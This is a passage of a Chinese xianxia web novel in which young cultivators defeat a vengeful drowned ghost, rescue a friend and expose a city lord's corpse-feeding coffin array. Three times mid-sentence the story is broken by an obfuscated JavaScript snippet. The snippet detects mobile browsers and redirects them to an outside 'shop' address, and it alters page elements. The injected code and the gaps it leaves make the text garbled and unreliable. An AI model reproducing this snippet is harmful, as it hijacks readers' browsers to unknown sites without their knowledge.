整个滩涂回荡着他们浮夸的声音,陆朝阳忍着羞耻,搓了搓胳膊上冒出来的鸡皮疙瘩,小声说:“她怎么还不出来啊?” 本就安静的河畔已经连细微的蝉鸣声都听不见了,厚厚的云层遮住了一半的月亮,月光好像是冷的,照在河面上像是结起了一层冰霜。 不对!沈无一目光一凛,空气中的温度是真的降低了! 三人顿时握住剑柄,迅速进入迎敌状态。 一道裹满恨意的鬼哭从河中央响起,充满歇斯底里的癫狂:“寡廉鲜耻,男娼女盗!去死!去死!!” 这声音尖利凄楚,仿佛万鬼号哭,利刃一样割着听者的耳朵。 沈无一下意识地运气抵挡这道刺耳声音。 妒娘从水中浮出,浮肿的脸上挂满尸虫,她长而凌乱的头发披散着,身上缠满湿淋淋的水草,望着沈无一的眼睛满是不加掩饰的恶意仇恨。 见她现身,连城双指并拢捻决:“乾坤,开阵!” 一道百尺长的阵法以他为中心展开,笼罩住了河畔。阵内树木摇晃,阵外却一片祥和。这是为了防止妒娘发狂,波及到阵外的百姓。 妒娘一甩手,身上的水草就开始以极快的速度往岸边疯长,鞭子一样抽向沈无一面门。沈无一闪身避过,触手一样的水草狠狠地拍击在地面上,打出了一道深深的痕迹,这若是抽在脸上,头骨不碎成渣也断了。 一击不成,那水草迅疾地向沈无一拐过来。他横剑抵挡,在地面上滑了数尺,心中诧异:这不是一般的小鬼!显然怨气十足,攻击力很强。 万事堂怎么会给刚刚突破金丹期的弟子分派这样的任务? 水草从四面八方围拢而来,无差别地攻向三人,沈无一迅速抽出腰间锻心,三个人靠在一起,互为防守,相互配合。 妒娘的状态看上去并没有保存多少理智,河水烧开了一样沸腾,水草疯狂朝前涌动,空气中都是水腥味,画面看着既恶心又渗人,陆朝阳有点崩溃地说:“有点难对付啊!怎么跟那个城主说的不一样!” 他们三人的修为只在金丹期,妒娘显然在他们之上,绝不是三个金丹期的修士可以轻松应对的。 三人都多多少少挂了点彩,沈无一挥剑斩断朝他刺来的水草,蓝色的裙摆已经破破烂烂。他拔掉头上累赘的朱钗,扫出一道凌厉剑气,语气急促地说:“这样下去不行,待会儿我跟连城上去迎击她,陆朝阳你找到机会用捆仙索将她困住,拉到地面上来!她被护城河困住,力量应该也来源于护城河,先试试看!” “好!” 分好工,沈无一和连城便快速冲到前方为陆朝阳开路,沈无一单手捻决,锻心剑身震颤,蔓延上一道薄薄的白霜,一道白色的雾气从他口中吐出,他神色凝肃,低喝道:“凶秽消散,道炁常存,去!” 一道迅速冰霜铺至妒娘脚下,冻住了她的小腿,在她的动作短暂凝滞期间,连城双手持剑飞身而上,干净利落地砍掉了她的右臂,又快速撤身,稳稳退回岸边。 二人配合堪称完美,连城一套动作毫不拖泥带水,正如他的剑一般利落。沈无一颇感舒爽,忍不住赞叹:“好剑法!” 妒娘遭受攻击,双目变得一片赤红,下一瞬,她厉声尖啸起来,水下的鱼群纷纷爆开,只余一团团血花。她盯着面前这群胆敢伤她的人,齿上沾血,尖声诅咒:“都给我、去死!!” 她一挥手,水草进攻地更加疯狂,在二人身上留下了数道血印子。而后便见她从水中召出一支通透的玉笛。 沈无一眼尖地看到笛子上栓着的红色流苏,目光一滞,这不是穆仪枫的“缥缈”吗?! 说时迟那时快,妒娘已经猛地吹响缥缈,一股无形的气浪顿时以她为中心向四周扫射,摧枯拉朽。 这玉笛是千机长老赠予徒弟的礼物,虽形雅致,但攻击一贯以霸道凶猛著称! 沈无一立即运气抵抗,却忽然感到体内真气遇到阻碍,凝滞了一瞬。他略一诧异,音浪已经袭来,他赶紧往旁边极为凶险地一躲,但还是被余波擦中,当场吐出一口鲜血。 怎么回事?沈无一摊开手,再次尝试运气,那股若有若无的凝滞感又来了,他确定刚才那一瞬间的阻碍不是错觉。 刚才要不是他反应快,现在就已经躺地上了。真是要命! “师兄你没事吧?”陆朝阳直接被打的翻了一个跟头,将剑插入土中才稳住身形,崩溃道:“这鬼怎么还有仙家法器啊!本来就难打!而且我刚才突然就使不上劲儿了!真是邪门!” 连城极为迅速地斩断向他袭来的水草,又在他胸口后背穴位上点了一下,稳住他的气息:“还好吗?” “没事。你们也有这种感觉?”沈无一还以为是他的经脉又出了什么问题:“阻碍修士灵气运转,这是什么邪门招数?” 连城摇了摇头:“不知。” “算了,先想办法对付这鬼吧。真是屋漏偏逢连夜雨。”沈无一从连城怀中起身,擦了一下嘴角的血迹说:“那笛子是我朋友穆仪枫的,他应该遇到危险了。” 连城朝河中心看了一眼,点头说:“先将此鬼擒住再问,莫要分神。” 沈无一应了一声,二人便重新和妒娘缠斗起来,过程中真气时不时就会紊乱一下,打的十分被动。但二人配合还算默契,这边招数落空那边就迅速动手,慢慢消磨对手。 妒娘被这种钝刀割肉的打发弄的怒气横生,一只脚忍不住从河中踏出,想要速战速决。 就这一刹,趁着她从河中完全露出身体,沈无一喊道:“陆朝阳!” 陆朝阳动作迅速地甩出捆仙索:“缚!” 妒娘发觉不对已为时已晚,想要缩回水中却已经来不及,银色的锁链已经一把捆住了她的身体,将她绑的严严实实,往岸边拉去。 妒娘上当,怒意更甚,开始剧烈挣扎起来。她被捆仙锁束缚住,无法再调动水草攻击,但力气大的惊人,一边挣扎一边发出威胁的尖啸,反应十分激烈。 沈无一看她的反应就知道自己猜对了,他拽着妒娘完好的那只手臂,差点被甩进水里,对着陆朝阳大喊:“快点啊!我要撑不住了!” “知道了!我在努力!”陆朝阳用力地拽住捆仙索,手指都被勒白了,他额头青筋暴起,艰难地从牙缝中挤出一声暴喝:“给我上来!” 随着他猛一用力,锁链发出“哗啦哗啦”的巨大声响,妒娘终于被一把拖上了岸。 妒娘像被捆住的鱼一样拍在地上,离开了水面,缠绕着她的水草忽然瞬间委顿在地。 三个人都多少有些狼狈,陆朝阳累的往地上一摊,沈无一蹲下来大喘气,只有连城除了衣服有些乱之外,其余看上去都不受影响。 沈无一拿出从妒娘手中夺来的缥缈笛,对恶狠狠盯着他们的妒娘说:“这笛子的主人在哪里?” 妒娘仍旧瞪着眼,不说话。 陆朝阳开始自觉地扮红脸,厉声威胁道:“快说!不说就杀了你!” 妒娘不理他们,或许是知道到自己死期将近,她忽而阴毒地一笑,体内的气息开始剧烈动荡。 沈无一意识到什么,面色倏地一变,惨叫道:“快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006050|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪开!” 连城迅速将剑插到背后,伸手拎住二人衣领往后一撤。他脚尖刚落地,妒娘就像一个膨胀的气球那样“砰”地炸开,污秽的黑水溅了满地。 妒娘自爆了,但沈无一和陆朝阳还是被溅了一脸,恶臭的味道传来。 沈无一:“……” 陆朝阳:“呕!” “抱歉,一时情急没跑远。”连城说。 “不怪你。”沈无一赶紧用清洁术把自己清理干净,无可奈何道:“谁知她打不过突然就自爆了,不过她已经被怨气支配,看起来也不像能沟通的样子。” 弄干净自己,陆朝阳疑心身上还有味儿,他闻了闻衣袖,看见沈无一往妒娘得方向走了两步,就扬声问道:“妒娘这是死了吗?” “嗯。”沈无一闭目凝神一会儿,睁开眼说:“我已经探查不到她的鬼气了。” 陆朝阳抓了抓脑袋:“那怎么办?穆道友还没有找到。” 沈无一心中也有些着急,没想到出任务还能捡到穆仪枫的笛子,也不知道他现在是死是活。 “消散的只是她怨气产生的厉鬼。”连城开口说:“她的尸骸仍然在河底。找到她的尸骸,应该就可以找到你的朋友。” 陆朝阳望着茫茫的河面陷入了沉思:“我们倒是能沿着河一寸一寸翻,可是她死了好多年了吧?一堆枯骨怎么辨认啊?” “我知道一种说法,说如果有溺水而死的亡者找不到尸身,就让他的亲人站在河边唤他的名字,唤足七遍,尸体就会自己浮上来。”沈无一想了想,说:“找不到家人的话,很多捞尸人就会代替亲人去喊名字。” 陆朝阳一副长见识的模样:“原来还有这种说法!” 半柱香的时间后,他们终于在城中找到了一位捞尸人。 这位捞尸人已经年过半百,眉眼沉默凶狠,指节比一般的人要粗,听到他们的来意,他在地上磕了磕烟管,叹了口气:“这也是位可怜人啊,不过死了好,造了不少孽。” 捞尸人说妒娘是他们那一代的人,自己夙兴夜寐的刺绣供丈夫读书,丈夫却抛弃她和年轻美貌的富家小姐结了亲,说她貌丑人衰。那小姐知道她后,还支使丫鬟欺辱她。 妒娘手指生有厚茧、眼睛走光,都是常年伏案赶工的缘故,此番被恋人背叛,接受不了打击,跳河死了。 “妒娘原来不叫妒娘,叫‘绣娘’。”捞尸人慢声说。 捞尸人划着竹筏带着他们来到了河中央,河水已经比一开始澄澈了不少,这里每年春汛都会淹死一拨人,河底下飘着不少浮尸。捞尸人划一段,就会喊一声“绣娘”,最后一声喊完,他用一种奇异的腔调唱出来:“回家咯!入土为安咧!” 他喊完后,只顷刻的功夫,一具已经看不出原本面貌的尸体浮了上来,一路飘下来,停在了他们的船头,只有破烂的衣裙看的出这是位女子。 捞尸人说:“有什么问题就快问吧。” 沈无一举着笛子问:“绣娘,请问这笛子的主人身在何处?” 尸体静静地屁早在水面上,片刻后,手臂突兀地指向了北方。 得知穆仪枫方位,沈无一当即便对着捞尸人躬身道谢:“那绣娘就麻烦老人家安葬了。我朋友或有危险,我们得先行一步离开。” 捞尸人点点头,三人便朝着北方一路找过去,最后在好几里外的河里发现了昏迷不醒的穆仪枫。 “大壮!还活着吗?”沈无一喊。 穆仪枫没回答,他一动不动脸朝下浮在水面上,背后沾着血迹,衣服上都是撕扯的痕迹,看起来进气多出气少。 沈无一赶紧过去把他扯上岸,探了一下他鼻息,发现还有气儿之后才松了口气,然后摁了一下他的胸口。 “噗——”穆仪枫猛地吐出来一大口水,然后悠悠转醒。他看见面前站着一个眉眼弯弯的婉丽女子,蛾眉螓首,肤如凝脂,身上的飘带零落,仙气飘飘,她头发微乱,一缕垂在耳边,随着动作轻轻晃荡。 就是不知为何有点熟悉。 他疑心自己已经死掉了,不然怎么会看见神仙,忍不住心神恍惚失声痛哭:“洛神姐姐……” 8. 第八章 沈无一咧开嘴,要不是留影珠太过昂贵,真想把他这蠢兮兮的样子当做把柄录下来,到时候不能敲他个十个八个宝物? 他遗憾地抹了把脸,弯腰凑近:“大壮,你要不好好看看我是谁?” 穆仪枫定睛一看,这美人怎么长了一张跟好友九成像的脸啊。 靠!这不就是小二吗?!怪不得那么熟悉! 他受到惊吓一般“啊啊”大叫两声,差点从地上弹起来。 “怎么是你这孙子!”穆仪枫哀怨地说:“你穿成这样干什么?也不怪我认错,这扮的太像了吧?” “任务需要,你不是也碰上了妒娘?”沈无一将他的玉笛丢给他:“要不是这个笛子,我都不知道你在这里。” 穆仪枫手忙脚乱地接过笛子,才发现沈无一身上迎风飞舞的不是飘带,而是破破烂烂的布料,可见经历过一场激烈的战斗。 他往旁边一看,才意识到旁边还有两个人,意识到自己的傻缺样被不止一个人看光了,顿时面色一扭。 他强撑着挤出一个笑:“小师弟也在啊,另一位是……?” “剑宗弟子,连城。碰巧路上遇见,都是接的金鹿城城主的任务。”沈无一介绍说。 “原来是连道友,在下悬眼山穆仪枫,幸会幸会。”穆仪枫站起身,甚为风骚地甩了一下衣袖,双手抱拳对着连城示意。 ——他面对能压他一头的男子时都会情不自禁地装起来。 连城颔首道:“幸会。” 陆朝阳不怎么给面子地说:“大壮兄,你的风姿仪态已经被完败。” 穆仪枫朝他一瞪眼,示意他少说话,然后问沈无一:“你这次怎么下山了?” 沈无一说:“师父让我同师弟一起下山历练。” “原来如此。对了,你们也碰到那只厉鬼了?”说到这里,穆仪枫心有余悸地拍了拍胸口:“真是凶险非常,我差点死他手上!” “确实难搞,我们三人合力才勉强胜她。”沈无一忽然想到什么,转头问陆朝阳:“对了,咱们卷轴上这次任务的评测是哪级?” 陆朝阳从储物袋里翻出卷轴,仔细地找过去:“是‘丁’级。” 万事堂分派的任务都会标注等级,一般会根据求助者的评价分为甲、乙、丙、丁四个等级,丁级最末,刚突破金丹期的弟子接到丁级的任务是正常的,但单就妒娘来说也得有个“丙”级了。许旸之一开始就明确地给出了妒娘这条线索,却将任务难度定义成“丁”级是为什么? 是疏忽吗?还是……? 他沉思片刻,转而去问穆仪枫:“你怎么也在这里?也是金鹿城的任务?” 穆仪枫握着缥缈笛,叹气道:“那倒不是,仙门试炼不会是快到了吗,我下山寻求机缘路过此地,刚巧遇到妒娘伤人,便出手相救。结果这厉鬼实力强劲,我敌不过,就找机会遁走,还没飘到岸上就力竭晕过去了。” 他说起当时战况仍觉心有余悸,沈无一颇有同感:“确实如此,我们三人合力才勉强将其制服。” 陆朝阳收好卷轴,开口说:“师兄,既然大壮哥无事,我们是不是可以去城主那里交差了?” 沈无一却缓慢地摇了摇头:“先不急,我感觉他瞒了我们一些事情,导致少女失踪的凶手不止一个,我们还得再调查一下。” 陆朝阳懵逼地睁大眼睛:“不止一个?除了妒娘还有谁吗?” 连城说:“河中很多女子尸首上有着妒娘的怨气,无一例外都被毁了脸。她嫉妒她们的美貌,所以使她们毁容,但第一个被发现的尸体却没有被毁容。” “是诶。”陆朝阳想起许旸之的说法,“面容安详”,可见面貌并未被毁。 “妒娘似乎只攻击朝秦暮楚之人,并非单纯攻击貌美女子。”沈无一说:“你们还记得那份失踪的女子名单吗,有好几个都是未出阁的少女,没有感情经历。虽然也不排除没有被调查到的可能。” “而且,我们在打斗过程中真气忽然阻塞也有些奇怪。”沈无一摸了摸下巴,问穆仪枫:“你跟妒娘打起来的时候有感觉到体内真气阻塞吗?” “啊?”穆仪枫回想了一下,摇摇头:“没有啊。” “这么说不是妒娘的问题?是那个老鳖搞的鬼?”陆朝阳面色一变,怒气腾腾地说:“咱们啥时候中的招,难道是他给的茶点有问题?” 他越想越有可能,他们一路上好好的,进城主府只喝了点茶,吃了两口糕点,真气运作就出了问题。 “十有八九。”沈无一从乾坤袋中掏出下山前温成儒给他们准备的解毒丹吞下去,打坐运行了一个小周天,就感觉经脉恢复了正常。他使了一个聚水术,指尖的空气霎时凝结成一滴水珠,活泼地跳动着,这回他没有再感觉到真气阻塞。 沈无一一挥手,水珠就蒸发在空气中。他磨着后槽牙说:“果然是许旸之那老登给我们下了毒,他故意报低任务难度,搞不好从一开始就没想让我们活着回去。” 陆朝阳和连城也如法炮制,排出了体内的毒素。陆朝阳气完又开始不解:“他为什么要这么做?上仙门求助的是他,在背后黑我们的也是他。他有病?” “这有什么疑惑的啊。”穆仪枫掸了掸衣服上的灰,装模作样起来的时候又是一个翩翩君子:“你们说的这个少女失踪十有八九跟他有关系,但碍于百姓抱怨,他不能不作为,又怕暴露自己,就只好请来几个半吊子修士去送死,怕你们死不掉还特意给你们下毒。要是你们死在妒娘手中,以后再出现女子失踪,也就更能名正言顺地套在妒娘头上了。” 沈无一摊手,对陆朝阳说:“但你关于他有病的说法我深表认同。” 陆朝阳心中震撼:“这道貌岸然的老鳖!亏得城中百姓如此信任他!” “不过现在妒娘死了,他知道消息之后多多少少会露出马脚。”沈无一沉吟片刻,说:“你们还记得那个不让外人进去的内院吗?我们偷偷去看看,说不定会有线索。” “不过我得先把这身衣服换了。”沈无一露出牙酸的表情:“这经历也是挺独特的。” 他从乾坤袋里取出一套干净的白色弟子服,走远些换好了。穆仪枫暂时没什么事,就跟着他们一起前往城主府。 四人隐匿身形悄悄潜入院内,看到许旸之坐在屋中,面前摆着一碗颜色血红的药。沈无一从未见过颜色如此诡异的药,怀疑他在修习什么邪异的功法。 许旸之哆嗦着手端起碗将汤药一饮而尽,常常吁了口气,精神面貌看起来好了一些,问他身边的刘管事:“城西那边有什么动静吗?” 刘管事说:“奇怪的很,那边一整天都风平浪静,我派人暗中过去看了一眼,没看见那只鬼,也没看见那三个修士。不清楚是死了,还是逃了,我正让人沿着河去搜。” 许旸之“嗯”了一声:“找到之后,不论死的活的都带回来。” 他又问:“我那药还有多少?” “只剩一瓶了,老爷。” 许旸之用手摩挲着碗的边缘,目光沉沉,喃喃地道:“只剩一瓶了啊,看来又要开始准备祭品了。” 他低低地叹了口气,对刘管家招了招手,刘管家附耳过去,一会儿后躬身行礼道:“是,小的这就去办。” “嗯。”许旸之挥了挥手。 “哦对了,”许旸之又叫住他:“内院那边情况怎么样了?” 刘管事回:“内院那边一切如常。” 刘管事走之后,许旸之掀开了袖子,众人便看见他袖子下的那只手已经枯瘦如柴,长着一层瘤子一样的东西!密密麻麻地挤在他的皮肤上。 “!”穆仪枫感到反胃,差点叫出声。他急忙用手捂住嘴,气声说:“这是什么?!” 这怎么看也不像普通的病症啊! 几人面色各异,沈无一青着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006051|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸摇头,陆朝阳欲吐又止。 连城在几人之间的表现格外冷静,他观察片刻道:“看起来像是某种反噬。” 穆仪枫捂着嘴对他竖了一个大拇指。 许旸之望着自己手臂,长着瘤子的地方已经蔓延到了大臂处,很快就要到脸上了。他叹了口气,幽幽地开口:“要尽快了,要快、要快……” 他的语气渗人,回荡在死寂的房中。四人搓了搓胳膊,都不想再看下去,便悄悄退出房间。 “这金鹿城城主的秘密看起来不少啊。“穆仪枫感叹。 “他看起来非常急迫,如果失踪案真的跟他有关,那刘管家十有八九是要去抓捕少女。”沈无一说:“我们得跟着他看看。” 陆朝阳说:“但是我感觉内院里也有很多秘密,刘管家之前还特地说了让我们不要去。” 连城语气干脆地说:“既然如此,我们分开调查。” 其他人也是这么想的,于是他们决定兵分两路,一边去调查内院,一边去跟着刘管事看看他要做什么。 最后沈无一和连城去调查内院,穆仪枫和陆朝阳去跟踪刘管事。 约定好会合的地点和联系的方式后,沈无一和连城便朝着内院的方向出发。 内院被一座高高的围墙给圈起来了,站在这里,沈无一感觉经脉的不适变得更加明显,他不得身体本就容易受环境影响,之前他感到不舒服果然不是错觉。 连城在地面上摸了一下,说:“这里有防外人进入的阵法。” 沈无一也感知到了,他和连城将阵法破开了一个小口,一阵浓郁的阴气便倏地从那个裂缝中涌了出来。 “嗬!”沈无一惊道:“这老鳖到底在里面放了什么东西?” 连城闭目掐了一下手指,说:“先前我跟你说外院格局是招财聚福,但此地却诡谲莫测,虽聚福,却纳阴损德,是一种非常邪门的格局。” 阴气太过浓郁,甚至超过了妒娘所在的城西河畔,沈无一手腕上的镯子发出了幽绿的光。他不太舒服地揉了一下太阳穴。 连城看他面色不太好看,停下来问道:“你没问题吗?” 沈无一吐了口气,摇头说:“没事,我就是比一般人容易受影响,不过我戴了法宝呢,会时刻保持灵台清明,不会碍事的。” “嗯。”连城点了下头,脸上却完全没有放心的意思。他走了两步,又回头说:“我不是嫌你碍事的意思。若真有不适你便先行退出,剩下的交给我就好。” 沈无一忍不住露出牙齿笑,拍了拍他的肩说:“好呢。我知道的,放心吧!” “嗯。”少年又看了他一眼,才转身往前走去。 沈无一望着他的背影想:连城对他人之事并无过多好奇,也无意窥探,倒是一个难得的好品质。 二人翻墙进入内院,只见偌大的内院中摆满了横七竖八的棺材,外围的棺材都是空的,用的也是普通的木料。 这里没有活人居住的气息,院子中间种着一株巨大的洋槐树,普通的人若是待在这种阴气如此重的地方,不出一周便会暴毙而亡。 他们循着阴气最盛的地方,看到了不同于其他木棺的三道红棺。红棺极为不详,极易出凶煞,许旸之却在内院摆了三道。 沈无一默念几句“多有得罪,多有得罪。”便和连城合力将三道棺材都打开了,他们低头一看,只见棺材里躺着三个人:一个老者,一个女人还有一个孩子。 因为阴气太盛,他们的尸身并没有腐烂,但都面色发青,嘴唇和指甲乌黑。 即便从未见过上任城主和城主的妻女,沈无一也一眼就断定这就是他们。 看见红棺上的符文,沈无一又环视了一遍木棺摆放的位置,顿感熟悉。 他皱眉思索片刻,忽地想起自己曾经在温成儒的藏书上看到过这个阵法,不禁脱口而出:“天杀的许旸之,这居然是百棺阵!” 9. 第九章 百棺阵,顾名思义,就是用一百个棺材供养主棺的邪门阵法。被用来供养的木棺需要涂上特质的尸油,而主棺则涂以朱砂红漆,置于百棺正中。阵中种植槐树聚阴,再于主棺写上阴咒,便可以死者为养料,保施术者财源滚滚、官运亨通。 此法极为阴毒,会将死者魂魄缚于阵中,痛苦至极却无法解脱,往往怨气滔天,施术者同样会遭到反噬。这种术法本就有悖天道,一般人都不会轻易使用,许旸之身上的毒疮和瘤子就是反噬造成的。 而棺中三人死时面色痛苦,面部发青,显然并非自然死亡,或是简单病故,而是中毒身亡。 沈无一说:“许旸之一个凡人,却懂得如此邪僻的阵法,肉体凡胎却扛着反噬活到今天。背后难道还有指点他的人?” “可能性极大。”连城眉眼沉沉,向四周扫了一圈:“其他事出去再说,这尸体指甲已有寸余长,遇阳气容易尸变。” “好。” 二人便合上棺盖,疾步朝外走去,但还未到墙边,院中的气流却忽然发生了微妙的改变,天上的月亮隐隐泛起红光,他们在一片寂静中听到了“咯咯咯”的声音,像是尖锐的指甲在抓挠木板。 沈无一僵硬地回过头,心想:不会吧,这么背? 他回头的那一刹那,红馆便“嘭”地一声在他眼前炸开,一排排棺材紧跟着像点燃的引线一样挨个碎裂,尖锐的棺材碎屑直朝二人飞来! 沈无一和连城迅速拔剑抵挡,只见漫天飞尘之中,一双青色发黑的利爪猛地抓向他们,沈无一连忙抬剑,剑身和它黑色的指甲相撞,竟然发出“铮”的一声响,可见其坚硬程度。 一击不成,僵尸发出尖锐的嘶鸣声,猛地朝他们扑来!沈无一望着面前三个僵尸,心中崩溃地想:这算不算出门不看黄历?早知道应该四个人一起来内院! 僵尸身上散发着浓厚的怨气,黑色的瞳孔缩成很小的一个点,直勾勾地盯着阵里的生人,饿狼一样充满垂涎。 连城面容凝重,从怀中掏出三张空白黄符,对沈无一说:“给我争取一点时间!” “好!”沈无一快速从乾坤袋中掏出一个金钵倒扣在手中,念道:“无相金钵,护!” 金钵瞬时显为一道金刚罩罩在他们身上。飞扑而来的僵尸猛地撞在上面,无法再靠近二人,目眦欲裂地用手指抓挠。 沈无一松了口气,但这金刚罩只能抵挡一定程度的攻击,攻势太猛一会儿就承受不住了,他将剑身刺入地面,施展开一个防御阵法加固金刚罩:“你有什么办法,快呀,我这金刚罩抗不了多久!” 连城咬破手指,将鲜血涂于符纸之上,动作流畅迅疾地画出了三张复杂的符文,在金刚罩终于抵抗不住碎裂的时候,他一把抓住沈无一拽到身后,在僵尸疯狂的攻击中快准狠地将符贴在了僵尸的额头上! 符纸贴上去的一瞬间,躁动的僵尸瞬间像是被摁了暂停键一样停下了动作。 “好险,好险!”沈无一有一种劫后余生的无力感,他拍了拍胸口,呼了口气,忽然看到连城胳膊上被抓破的血痕,怔了怔,一把抓住他的胳膊:“你受伤了?” “无碍。”连城身体似乎僵了一下,他抽回手,语速很快地说:“事不宜迟,我们快离开此阵!” “好……好,我翻翻看我带了什么药……被这种僵尸抓了需要涂什么?”沈无一手忙脚乱地在乾坤袋里翻找起来。 两人快步走到之前破开的?旁,却在看见站在那里的人时顿住了步伐。 许旸之站在那里,盯着两人,面上露出一个奇异阴森的微笑,嗓音嘶哑地说:“二位仙友,鄙人找不到诸位,还以为诸位已经不幸遇难,很是惋惜啊,没想到却在这里看到你们。擅闯他人府邸,可不是一个好习惯呐。” “杀害丈人、妻女,还将其制成阴阵,也不是什么好习惯吧?”沈无一双手环胸,冷冷地睨视着他。 那张浑浊的眼睛霎时变得更加阴沉,片刻后,许旸之苍老颓败的脸上缓慢地扯出一个充满恶意的微笑:“妒娘没能杀死你们,死在这里也是个不错的选择。既然诸位对这里颇为好奇,不如留在这里好好玩玩。待我抛弃这破烂肉身夺舍你们,长生之路、天下宝物,岂不尽为我所有?” 许旸之畅快地大笑起来,但没笑两声又开始剧烈地咳嗽,他嘴角扯出一个势在必得的弧度,低声念了一句复杂拗口的咒语。 听到咒语,身后的三只僵尸忽然一颤,紧接着剧烈地抖动起来,它们嘴里发出痛苦挣扎的嘶鸣,额头上的黄符开始松动。 一道血红色的阵法从地面上显现,沈无一认出这是“囹圄阵”,会导致他们失去方向被困在其中! 连城当机立断挥剑朝许旸之袭去,许旸之却如烟一般消散在空中。这阵法显然是他早就准备好的,若有人窥见他的秘密,便将他永久留在这里。此时阵已成,二人便无法再轻易辨别他的方位。 更糟糕的是,那三只凶悍的僵尸已经抖掉了额头上禁锢的符咒,他们闻到杀害自己的仇人气息,气息猛地变得狂乱焦躁,更加凶狠地朝着沈无一和连城袭来! “这老鳖!!”沈无一怒了,都想干脆甩掉手镯也跟着发狂好了。 他赶紧掏出一个附有生人气息的傀儡娃娃往反方向一丢,僵尸只微微顿了一下,就继续不管不顾地朝着仇人的方向抓来! 沈无一提剑对抗,被其凶猛的攻势击得后退半步,喉头一阵血气上涌,被他咽了下去。 “我先拖住这三个僵尸,你去找找阵眼!”沈无一急的几欲抓狂,手持锻心就要上前拼死一搏。 连城神色攻势依旧看不出慌张,他闭目探知一瞬,忽然拽住沈无一说:“不必,救兵到了。” 沈无一动作一顿:“啊?” “叮铃、叮铃铃——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006052|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只听见一阵空灵的铃音从上方传来,还欲攻击的僵尸忽地停在了原地,慢慢垂下头不动了。 它们满身的怨怒好像在一瞬间消散,竟让沈无一看出几分温顺听话的样子。 连城抬步走到对角线的位置,轻轻一踩,“喀嚓”一声,阵眼被破坏,整个囹圄阵顷刻失效。 “啊啊啊——” 阵被蛮力破坏,设阵之人自然会遭到反噬。沈无一回过头,只见许旸之像丧家之犬一样往前方跑去,但还没跑几步,一条白骨长鞭就瞬时缠住他的身体,将他拉了回来。 许旸之摔倒在地,胸口剧烈起伏,发出破风箱一般呼哧呼哧的声音。 沈无一讶异地顺着骨鞭的方向看过去,手持长鞭的是一个气质凌厉傲慢的女人,她两只手都戴着黑色的手套,身材高挑,眉目冷艳,头发上编制着充满异域风情的蓝白扎染布带,衣服上也是同样的花纹,右眼眼睑处涂着深色的类似符文一样的纹样,右耳垂上勾着一只小巧的银月耳坠。 沈无一一下子就认出了她,忍不住睁大眼睛:“敬真长老!” 来人正是观雪峰峰主辛楚,据说她来自神秘的西湘,擅御尸、虫蛊。她手中精巧的银色铃铛——“谶铃”,就可控尸。 辛楚收起长鞭,朝他看过来:“栖鹤峰的小鬼?” 她的视线落在沈无一旁边的连城身上,不知为何微妙地停顿了一下,迟疑地开口:“你……?” 连城上前一步,行了一个弟子礼:“在下剑宗弟子连城,见过敬真长老。” “……”辛楚表情有些奇怪的僵硬,她含糊地应了一声,问道:“你们是接了任务来到此地?” 沈无一察觉到辛楚面对连城时态度有些古怪,不知道是和剑宗有什么积怨,还是其他原因。他回答道:“是。不过任务难度被刻意报低了,我们和另外两个同伴察觉不对,分开去调查了。城主府中设有百棺阵等邪异阵法,此法来路不明,想来许旸之背后一定有人指点。” 许旸之倒在地上抖如筛糠,沈无一看到他就来气,不轻不重地踢了他一脚:“喂!老鳖,是谁给你的百棺阵法?快说,不说就放那几个僵尸来咬你!” 许旸之面如土色,整个人狼狈不堪,张了张嘴似乎想要回答,但喉管还没有发出声音,就忽然像被灼烧一般发出一阵惨叫。 沈无一连忙举起手抬起踢他的那只脚后退了一步,看向连城:“天地为证,我刚才可没有揍他!是他自己忽然叫起来的!对吧?” “对。”连城应了一声,听起来竟然有点纵容。 “那他是怎么了?”沈无一看向地上打滚惨叫的人,不解道。 “你知道‘鬼市’么?同鬼市交易必要签下秘契,敢同外人透露半个字,□□都会遭受焚烧之痛。”这时,辛楚开口道:“他背后就是鬼市,所以你从他嘴里问不出来的,我此番来金鹿城,正是为了调查此事。” 10. 第十章 想不到这金鹿城里居然如此卧虎藏龙别有洞天啊! 沈无一刚想仔细问问,怀中的纸鸢忽然亮了起来,这是他们分别前跟陆朝阳和穆仪枫约定好的通讯道具。 沈无一在纸鸢上输入一道灵力,纸鸢顿时像是活过来一样在他的肩膀上一蹦一跳,发出陆朝阳的声音:“师兄!城中的少女失踪果然和许旸之有关系!” 他将他们遇到的情况简单说了一遍。原来刘管事此去就是奉许旸之之命抓捕少女,他们当即就阻拦了下来,现在正扣着刘管事,找沈无一他们商量接下来要怎么办。 沈无一思忖片刻说:“你们先过来吧。情况好像有点复杂。” 不消一会儿,陆朝阳和穆仪枫便拎着刘管事和数个昏迷不醒的家丁回来了。 